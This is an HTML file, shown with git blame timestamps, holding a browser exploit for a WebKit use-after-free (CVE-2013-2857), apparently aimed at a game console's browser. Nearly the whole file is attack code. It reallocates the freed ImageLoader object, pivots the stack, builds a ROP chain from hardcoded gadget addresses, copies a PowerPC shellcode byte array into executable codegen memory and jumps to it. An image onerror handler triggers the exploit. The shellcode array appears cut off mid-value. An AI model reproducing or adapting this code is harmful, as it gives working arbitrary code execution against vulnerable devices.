JsTypeHax/payload/exploit_WORKING.html

253 lines
78 KiB
HTML
Raw Normal View History

2017-08-22 21:51:45 +02:00
<!--
Tested on 5.5.1
CVE-2013-2857
Use after free https://bugs.chromium.org/p/chromium/issues/detail?id=240124
Result: Bug is present, crash
-->
<script>
function UaF(a)
2018-05-21 20:58:15 +02:00
{
2017-08-22 21:51:45 +02:00
//radio is the *ONLY* type that left the freed WebCore::ImageLoader free !
a.type="radio";
2018-05-21 20:58:15 +02:00
var sizeWebCoreImageLoader = 0x18;
2017-08-22 21:51:45 +02:00
//Allocate this new WebCore::ImageLoader over freed WebCore::
var ab = new ArrayBuffer(sizeWebCoreImageLoader);
var dv = new DataView(ab)
2018-05-21 20:58:15 +02:00
var pivotAdressAdress = 0x1CEE2000; //r6
2017-08-22 21:51:45 +02:00
/*
0:000:x86> dt webkit!WebCore::ImageLoader
2018-05-21 20:58:15 +02:00
+0x000 __VFN_table : Ptr32
2017-08-22 21:51:45 +02:00
+0x004 m_client : Ptr32 WebCore::ImageLoaderClient
+0x008 m_image : WebCore::CachedResourceHandle<WebCore::CachedImage>
+0x00c m_failedLoadURL : WTF::AtomicString
+0x010 m_hasPendingBeforeLoadEvent : Pos 0, 1 Bit
+0x010 m_hasPendingLoadEvent : Pos 1, 1 Bit
+0x010 m_hasPendingErrorEvent : Pos 2, 1 Bit
+0x010 m_imageComplete : Pos 3, 1 Bit
+0x010 m_loadManually : Pos 4, 1 Bit
+0x010 m_elementIsProtected : Pos 5, 1 Bit
*/
//Register:r3 Adress:0x1AF35330-0x1AF35360
dv.setUint32(0x00, 0x00000000); //vtable
dv.setUint32(0x04, pivotAdressAdress); //m_client
dv.setUint32(0x08, pivotAdressAdress); //m_image
dv.setUint32(0x0C, 0x00000000); //m_failedLoadURL
dv.setUint32(0x10, 0x00000000); //m_hasPendingBeforeLoadEvent
dv.setUint32(0x14, 0x00000000); //padding
2018-05-21 20:58:15 +02:00
var pivotAdress = 0x010ADDCC;
//5.5.2
{
var pivotAdressAdress = 0x1CEE2000; //r6
var payloadAdress = pivotAdressAdress + 1720;
}
var codegenAddress = 0x01800000;
var sprayCount = 0x1900;
var _4K = 0x1000;
var _16K = 0x4000;
var _32K = 0x8000;
var _100M = 100*1024*1024;
var payload = [
0x48, 0x00, 0x00, 0x05, 0x7c, 0x68, 0x02, 0xa6, 0x38, 0x80, 0x00, 0x48, 0x7c, 0x84, 0x1a, 0x14, 0x80, 0xa4, 0x00, 0x00, 0x38, 0x84, 0x00, 0x04, 0x7f, 0xa3, 0xeb, 0x78, 0x38, 0xc0, 0x00, 0x02, 0x7c, 0xa5, 0x34, 0x30, 0x7c, 0xa9, 0x03, 0xa6, 0x80, 0xa4, 0x00, 0x00, 0x90, 0xa3, 0x00, 0x00, 0x38, 0x84, 0x00, 0x04, 0x38, 0x63, 0x00, 0x04, 0x42, 0x00, 0xff, 0xf0, 0x7c, 0x21, 0xf2, 0x14, 0x80, 0x61, 0x00, 0x04, 0x7c, 0x69, 0x03, 0xa6, 0x4e, 0x80, 0x04, 0x20,
0x00, 0x40, 0x00, 0x00,
0x3c, 0x20, 0x1a, 0xb5, 0x60, 0x21, 0xd1, 0x38, 0x48, 0x00, 0x14, 0x09, 0x38, 0x00, 0x25, 0x00, 0x44, 0x00, 0x00, 0x02, 0x4e, 0x80, 0x00, 0x20, 0x7c, 0x08, 0x02, 0xa6, 0x94, 0x21, 0xff, 0xf0, 0x93, 0xc1, 0x00, 0x04, 0x93, 0xe1, 0x00, 0x08, 0x7c, 0x05, 0x03, 0x78, 0x7c, 0x26, 0x0b, 0x78, 0x38, 0x00, 0x36, 0x00, 0x44, 0x00, 0x00, 0x02, 0x60, 0x00, 0x00, 0x00, 0x7c, 0xa0, 0x2b, 0x78, 0x7c, 0xc1, 0x33, 0x78, 0x83, 0xc1, 0x00, 0x04, 0x83, 0xe1, 0x00, 0x08, 0x38, 0x21, 0x00, 0x10, 0x7c, 0x08, 0x03, 0xa6, 0x4e, 0x80, 0x00, 0x20, 0x7f, 0xd8, 0x82, 0xa6, 0x7f, 0xf9, 0x82, 0xa6, 0x7c, 0x00, 0x06, 0xac, 0x4c, 0x00, 0x01, 0x2c, 0x3c, 0x60, 0xff, 0xf0, 0x60, 0x63, 0x00, 0x02, 0x7c, 0x78, 0x83, 0xa6, 0x3c, 0x60, 0xff, 0xf0, 0x60, 0x63, 0x00, 0x32, 0x7c, 0x79, 0x83, 0xa6, 0x7c, 0x00, 0x06, 0xac, 0x4c, 0x00, 0x01, 0x2c, 0x3c, 0x60, 0xff, 0xf1, 0x60, 0x63, 0xd6, 0x24, 0x3c, 0x80, 0x3c, 0xe0, 0x60, 0x84, 0x30, 0x80, 0x90, 0x83, 0x00, 0x00, 0x3c, 0x80, 0x60, 0xe7, 0x60, 0x84, 0x00, 0x12, 0x90, 0x83, 0x00, 0x04, 0x3c, 0x80, 0x7c, 0xf1, 0x60, 0x84, 0x8b, 0xa6, 0x90, 0x83, 0x00, 0x08, 0x3c, 0x80, 0x3c, 0xe0, 0x60, 0x84, 0x00, 0x80, 0x90, 0x83, 0x00, 0x0c, 0x3c, 0x80, 0x60, 0xe7, 0x60, 0x84, 0x00, 0xff, 0x90, 0x83, 0x00, 0x10, 0x3c, 0x80, 0x7c, 0xf0, 0x60, 0x84, 0x8b, 0xa6, 0x90, 0x83, 0x00, 0x14, 0x3c, 0x80, 0x7c, 0x00, 0x60, 0x84, 0x06, 0xac, 0x90, 0x83, 0x00, 0x18, 0x3c, 0x80, 0x4c, 0x00, 0x60, 0x84, 0x01, 0x2c, 0x90, 0x83, 0x00, 0x1c, 0x3c, 0x80, 0x7c, 0xe8, 0x60, 0x84, 0x02, 0xa6, 0x90, 0x83, 0x00, 0x20, 0x3c, 0x80, 0x48, 0x80, 0x60, 0x84, 0x00, 0x03, 0x90, 0x83, 0x00, 0x24, 0x3c, 0x60, 0xff, 0xf1, 0x60, 0x63, 0xd6, 0x20, 0x7c, 0x00, 0x18, 0xac, 0x7c, 0x00, 0x1f, 0xac, 0x3c, 0x60, 0xff, 0xf1, 0x60, 0x63, 0xd6, 0x40, 0x7c, 0x00, 0x18, 0xac, 0x7c, 0x00, 0x1f, 0xac, 0x7c, 0x00, 0x04, 0xac, 0x3c, 0x60, 0x30, 0x80, 0x60, 0x63, 0x00, 0x12, 0x7c, 0x71, 0x8b, 0xa6, 0x3c, 0x60, 0x00, 0x80, 0x60, 0x63, 0x00, 0xff, 0x7c, 0x70, 0x8b, 0xa6, 0x7c, 0x00, 0x06, 0xac, 0x4c, 0x00, 0x01, 0x2c, 0x3c, 0x80, 0x60, 0x00, 0x3c, 0x60, 0xff, 0xf0, 0x60, 0x63, 0x6b, 0x6c, 0x90, 0x83, 0x00, 0x00, 0x7c, 0x00, 0x18, 0xac, 0x7c, 0x00, 0x1f, 0xac, 0x3c, 0x60, 0xff, 0xf0, 0x60, 0x63, 0x6b, 0xf8, 0x90, 0x83, 0x00, 0x00, 0x7c, 0x00, 0x18, 0xac, 0x7c, 0x00, 0x1f, 0xac, 0x3c, 0x60, 0xff, 0xf0, 0x60, 0x63, 0x03, 0xc8, 0x90, 0x83, 0x00, 0x00, 0x7c, 0x00, 0x18, 0xac, 0x7c, 0x00, 0x1f, 0xac, 0x3c, 0x60, 0xff, 0xf0, 0x60, 0x63, 0x03, 0xcc, 0x90, 0x83, 0x00, 0x00, 0x7c, 0x00, 0x18, 0xac, 0x7c, 0x00, 0x1f, 0xac, 0x3c, 0x60, 0xff, 0xf1, 0x60, 0x63, 0xd7, 0x0c, 0x90, 0x83, 0x00, 0x00, 0x7c, 0x00, 0x18, 0xac, 0x7c, 0x00, 0x1f, 0xac, 0x3c, 0x60, 0xff, 0xf1, 0x60, 0x63, 0xd7, 0x28, 0x90, 0x83, 0x00, 0x00, 0x7c, 0x00, 0x18, 0xac, 0x7c, 0x00, 0x1f, 0xac, 0x3c, 0x60, 0xff, 0xf1, 0x60, 0x63, 0xd8, 0x2c, 0x90, 0x83, 0x00, 0x00, 0x7c, 0x00, 0x18, 0xac, 0x7c, 0x00, 0x1f, 0xac, 0x7c, 0x00, 0x06, 0xac, 0x4c, 0x00, 0x01, 0x2c, 0x3c, 0x60, 0xff, 0xee, 0x60, 0x63, 0x00, 0x02, 0x7c, 0x78, 0x83, 0xa6, 0x3c, 0x60, 0xff, 0xee, 0x60, 0x63, 0x00, 0x32, 0x7c, 0x79, 0x83, 0xa6, 0x7c, 0x00, 0x06, 0xac, 0x4c, 0x00, 0x01, 0x2c, 0x3c, 0x80, 0x60, 0x00, 0x3c, 0x60, 0xff, 0xee, 0x60, 0x63, 0x11, 0xc4, 0x90, 0x83, 0x00, 0x00, 0x7c, 0x00, 0x18, 0xac, 0x7c, 0x00, 0x1f, 0xac, 0x3c, 0x60, 0xff, 0xee, 0x60, 0x63, 0x11, 0xc8, 0x90, 0x83, 0x00, 0x00, 0x7c, 0x00, 0x18, 0xac, 0x7c, 0x00, 0x1f, 0xac, 0x7c, 0x00, 0x06, 0xac, 0x4c, 0x00, 0x01, 0x2c, 0x7f, 0xd8, 0x83, 0xa6, 0x7f, 0xf9, 0x83, 0xa6, 0x7c, 0x00, 0x06, 0xac, 0x4c, 0x00, 0x01, 0x2c, 0x4c, 0x00, 0x00, 0x64, 0x7c, 0x08, 0x02, 0xa6, 0x94, 0x21, 0xff, 0xe0, 0x3d, 0x20, 0x01, 0x02, 0x3c, 0xa0, 0x01, 0x80, 0x61, 0x29, 0xb8, 0x28, 0x93, 0xe1, 0x00, 0x1c, 0x90, 0x01, 0x00, 0x24, 0x7c, 0x9f, 0x23, 0x78, 0x38, 0xa5, 0x1c, 0x6c, 0x38, 0x80, 0x00, 0x00, 0x38, 0xc1, 0x00, 0x08, 0x7d, 0x29, 0x03, 0xa6, 0x4e, 0x80, 0x04, 0x21, 0x2f, 0x9f, 0x00, 0x00, 0x41, 0x9e, 0x00, 0x18, 0x81, 0x21, 0x00, 0x08, 0x3b, 0xff, 0xff, 0xff, 0x7d, 0x29, 0x03, 0xa6, 0x4e, 0x80, 0x04, 0x21, 0x4b, 0xff, 0xff, 0xe8, 0x39, 0x61, 0x00, 0x20, 0x48, 0x00, 0x19, 0x1c, 0x94, 0x21, 0xf
];
2017-08-22 21:51:45 +02:00
//Rop offset
{
ROP_POPJUMPLR_STACK12 = 0x0101cd24;
ROP_POPJUMPLR_STACK20 = 0x01024d88;
ROP_CALLFUNC = 0x01080274;
ROP_CALLR28_POP_R28_TO_R31 = 0x0107dd70;
ROP_POP_R28R29R30R31 = 0x0101d8d4;
ROP_POP_R27 = 0x0101cb00;
ROP_POP_R24_TO_R31 = 0x010204c8;
ROP_CALLFUNCPTR_WITHARGS_FROM_R3MEM = 0x010253c0;
ROP_SETR3TOR31_POP_R31 = 0x0101cc10;
ROP_memcpy = 0x01035fc8;
ROP_DCFlushRange = 0x01023f88;
ROP_ICInvalidateRange = 0x010240b0;
ROP_OSSwitchSecCodeGenMode = 0x010376c0;
ROP_OSCodegenCopy = 0x010376d8;
ROP_OSGetCodegenVirtAddrRange = 0x010375c0;
ROP_OSGetCoreId = 0x01024e8c;
ROP_OSGetCurrentThread = 0x01043150;
ROP_OSSetThreadAffinity = 0x010429dc;
ROP_OSYieldThread = 0x010418e4;
ROP_OSFatal = 0x01031618;
ROP_Exit = 0x0101cd80;
ROP_OSScreenFlipBuffersEx = 0x0103afd0;
ROP_OSScreenClearBufferEx = 0x0103b090;
ROP_OSDynLoad_Acquire = 0x0102a3b4;
ROP_OSDynLoad_FindExport = 0x0102b828;
ROP_os_snprintf = 0x0102f160;
}
2018-05-21 20:58:15 +02:00
2017-08-22 21:51:45 +02:00
//Rop helper
{
var ropCurrentDv = null;
var ropCurrentOffset = 0;
2018-05-21 20:58:15 +02:00
function ropchain_appendu8(val){
ropCurrentDv.setUint8(ropCurrentOffset, val);
ropCurrentOffset += 1;
}
2017-08-22 21:51:45 +02:00
function ropchain_appendu32(val)
{
ropCurrentDv.setUint32(ropCurrentOffset, val);
ropCurrentOffset += 4;
}
2018-05-21 20:58:15 +02:00
2017-08-22 21:51:45 +02:00
function ropgen_pop_r24_to_r31(r24, r25, r26, r27, r28, r29, r30, r31)
{
ropchain_appendu32(ROP_POP_R24_TO_R31);
ropchain_appendu32(0x0);
ropchain_appendu32(0x0);
2018-05-21 20:58:15 +02:00
2017-08-22 21:51:45 +02:00
ropchain_appendu32(r24);
ropchain_appendu32(r25);
ropchain_appendu32(r26);
ropchain_appendu32(r27);
ropchain_appendu32(r28);
ropchain_appendu32(r29);
ropchain_appendu32(r30);
ropchain_appendu32(r31);
2018-05-21 20:58:15 +02:00
2017-08-22 21:51:45 +02:00
ropchain_appendu32(0x0);
}
2018-05-21 20:58:15 +02:00
2017-08-22 21:51:45 +02:00
function ropgen_callfunc(funcaddr, r3, r4, r5, r6, r28)
{
ropgen_pop_r24_to_r31(r6, r5, 0, ROP_CALLR28_POP_R28_TO_R31, funcaddr, r3, 0, r4);
ropchain_appendu32(ROP_CALLFUNC);
ropchain_appendu32(r28);//r28
ropchain_appendu32(0x0);//r29
ropchain_appendu32(0x0);//r30
ropchain_appendu32(0x0);//r31
ropchain_appendu32(0x0);
}
2018-05-21 20:58:15 +02:00
2017-08-22 21:51:45 +02:00
function ropgen_switchto_core1()
{
ropgen_callfunc(ROP_OSGetCurrentThread, 0x0, 0x2, 0x0, 0x0, ROP_OSSetThreadAffinity);//Set r3 to current OSThread* and setup r31 + the r28 value used by the below.
ropchain_appendu32(ROP_CALLR28_POP_R28_TO_R31);//ROP_OSSetThreadAffinity(<output from the above call>, 0x2);
ropchain_appendu32(ROP_OSYieldThread);//r28
ropchain_appendu32(0x0);//r29
ropchain_appendu32(0x0);//r30
ropchain_appendu32(0x0);//r31
ropchain_appendu32(0x0);
ropchain_appendu32(ROP_CALLR28_POP_R28_TO_R31);
ropchain_appendu32(0x0);//r28
ropchain_appendu32(0x0);//r29
ropchain_appendu32(0x0);//r30
ropchain_appendu32(0x0);//r31
ropchain_appendu32(0x0);
}
2018-05-21 20:58:15 +02:00
2017-08-22 21:51:45 +02:00
function ropgen_OSSwitchSecCodeGenMode(flag)//flag0 == RW- permissions, flag1 == R-X permissions.
{
ropgen_callfunc(ROP_OSSwitchSecCodeGenMode, flag, 0x0, 0x0, 0x0, 0x0);
}
2018-05-21 20:58:15 +02:00
2017-08-22 21:51:45 +02:00
function ropgen_memcpy(dst, src, size)
{
ropgen_callfunc(ROP_memcpy, dst, src, size, 0x0, 0x0);
}
2018-05-21 20:58:15 +02:00
2017-08-22 21:51:45 +02:00
function ropgen_DCFlushRange(addr, size)
{
ropgen_callfunc(ROP_DCFlushRange, addr, size, 0x0, 0x0, 0x0);
}
function ropgen_ICInvalidateRange(addr, size)
{
ropgen_callfunc(ROP_ICInvalidateRange, addr, size, 0x0, 0x0, 0x0);
}
2018-05-21 20:58:15 +02:00
2017-08-22 21:51:45 +02:00
function ropgen_copycodebin_to_codegen(codegen_addr, codebin_addr, codebin_size)
{
ropgen_OSSwitchSecCodeGenMode(0);
ropgen_memcpy(codegen_addr, codebin_addr, codebin_size);
ropgen_OSSwitchSecCodeGenMode(1);
ropgen_DCFlushRange(codegen_addr, codebin_size);
ropgen_ICInvalidateRange(codegen_addr, codebin_size);
}
}
2018-05-21 20:58:15 +02:00
//Construct the RopChain
2017-08-22 21:51:45 +02:00
{
2018-05-21 20:58:15 +02:00
var RopChainAB = new ArrayBuffer(100*1024*1024);
var RopChain = new DataView(RopChainAB);
for(var j=0; j<_32K; j+=4){
RopChain.setUint32(j, 0x10000000+j); //filler
2017-08-22 21:51:45 +02:00
}
2018-05-21 20:58:15 +02:00
RopChain.setUint32(0x204, 0x0);
RopChain.setUint32(0x018, pivotAdressAdress);
RopChain.setUint32(0x000, pivotAdressAdress+0x20);
RopChain.setUint32(0x2BC, pivotAdress); //lwz r0, 0x4(r11) ; mtlr r0 ; mr r1, r11 ; li r3, -0x1 ; blr ;
2017-08-22 21:51:45 +02:00
//r11, new stack location
2018-05-21 20:58:15 +02:00
RopChain.setUint32(0x208, pivotAdressAdress+0x300);
2017-08-22 21:51:45 +02:00
//initialize this Rop Chain
2018-05-21 20:58:15 +02:00
ropCurrentDv = RopChain;
2017-08-22 21:51:45 +02:00
ropCurrentOffset = 0x304;
//start of the Rop Chain
2018-05-21 20:58:15 +02:00
2017-08-22 21:51:45 +02:00
//switch to core1
ropgen_switchto_core1();
2018-05-21 20:58:15 +02:00
2017-08-22 21:51:45 +02:00
//copy to payload to codegen
2018-05-21 20:58:15 +02:00
ropgen_copycodebin_to_codegen(codegenAddress, payloadAdress, _32K)
2017-08-22 21:51:45 +02:00
//prepare payload argument
payload_srcaddr = payloadAdress;
ROPHEAP = payload_srcaddr + 0x800000;
ropgen_pop_r24_to_r31(ROP_OSFatal, ROP_Exit, ROP_OSDynLoad_Acquire, ROP_OSDynLoad_FindExport, ROP_os_snprintf, payload_srcaddr, 8, ROPHEAP);//Setup r24..r31 at the time of payload entry. Basically a "paramblk" in the form of registers, since this is the only available way to do this with the ROP-gadgets currently used by this codebase.
2018-05-21 20:58:15 +02:00
2017-08-22 21:51:45 +02:00
//Jump on the payload
2018-05-21 20:58:15 +02:00
ropchain_appendu32(codegenAddress);//Jump to the codegen area where the payload was written.
2017-08-22 21:51:45 +02:00
//Setup the code-loading ROP-chain which can be used by the loader-payload, since the above one isn't usable after execution due to being corrupted.
ropchain_appendu32(0x0);
2018-05-21 20:58:15 +02:00
ropgen_copycodebin_to_codegen(codegenAddress, payloadAdress, _32K)
2017-08-22 21:51:45 +02:00
ropgen_pop_r24_to_r31(ROP_OSFatal, ROP_Exit, ROP_OSDynLoad_Acquire, ROP_OSDynLoad_FindExport, ROP_os_snprintf, payload_srcaddr, 8, ROPHEAP);
2018-05-21 20:58:15 +02:00
ropchain_appendu32(codegenAddress);//Jump to the codegen area where the payload was written.
//Nop filler !
var nopSize = _32K - payload.length;
for(var i = 0; i<nopSize; i+=4){
ropchain_appendu8(0x60);
ropchain_appendu8(0x00);
ropchain_appendu8(0x00);
ropchain_appendu8(0x00);
}
//payload
for(var i=0; i<payload.length; i++){
ropchain_appendu8(payload[i]);
}
2017-08-22 21:51:45 +02:00
}
2018-05-21 20:58:15 +02:00
2017-08-22 21:51:45 +02:00
//Use the new WebCore::ImageLoader & pivot !
return 0;
}
</script>
2018-05-21 20:58:15 +02:00
<input id="x" type="image" onerror="UaF(this);" src=""/>